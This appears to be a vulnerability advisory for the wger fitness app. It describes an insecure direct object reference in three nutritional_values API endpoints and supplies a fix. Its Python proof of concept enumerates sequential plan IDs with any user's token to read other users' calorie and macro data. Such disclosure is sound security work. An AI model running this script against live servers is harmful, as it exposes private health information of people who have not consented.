wger: IDOR in nutritional_values endpoints exposes private dietary data via direct ORM lookup

Summary

Three nutritional_values action endpoints fetch objects via Model.objects.get(pk=pk) — a raw ORM call that bypasses the user-scoped queryset. Any authenticated user can read another user's private nutrition plan data, including caloric intake and full macro breakdown, by supplying an arbitrary PK.

Details

DRF detail actions do not automatically apply queryset filtering — the action must call self.get_object() to enforce object-level permissions. These three endpoints skip that and go directly to the ORM:

wger/nutrition/api/views.py:

# line 301 — NutritionPlanViewSet
plan = NutritionPlan.objects.get(pk=pk)           # VULNERABLE — no user check

# line 356 — MealViewSet
meal = Meal.objects.get(pk=pk)                    # VULNERABLE

# line 403 — MealItemViewSet
meal_item = MealItem.objects.get(pk=pk)           # VULNERABLE

The correct pattern used in the same file at LogItemViewSet (line 438):

LogItem.objects.get(pk=pk, plan__user=self.request.user)  # CORRECT

Affected endpoints:

GET /api/v2/nutritionplan/{pk}/nutritional_values/
GET /api/v2/meal/{pk}/nutritional_values/
GET /api/v2/mealitem/{pk}/nutritional_values/

PoC

import requests

BASE = "http://localhost"
# Attacker's token (any registered user)
headers = {"Authorization": "Token ATTACKER_TOKEN"}

# Read victim's nutrition plan — enumerate pk starting from 1
for pk in range(1, 100):
    r = requests.get(
        f"{BASE}/api/v2/nutritionplan/{pk}/nutritional_values/",
        headers=headers
    )
    if r.status_code == 200:
        data = r.json()
        print(f"Plan {pk}: {data}")
        # Returns: energy (kcal), protein, carbohydrates, carbohydrates_sugar,
        #          fat, fat_saturated, fiber, sodium

No interaction from the victim required. Registration is open by default. PKs are sequential integers.

Impact

Any authenticated user can read other users' private dietary and health data:
- Daily caloric intake
- Protein, carbohydrate, fat, fiber, and sodium intake
- Full meal composition and ingredient quantities

This data is sensitive health information users expect to be private.

Fix: Replace direct ORM calls with self.get_object(), which applies the viewset's user-scoped queryset and object-level permissions automatically. Or add an explicit user filter: NutritionPlan.objects.get(pk=pk, user=self.request.user).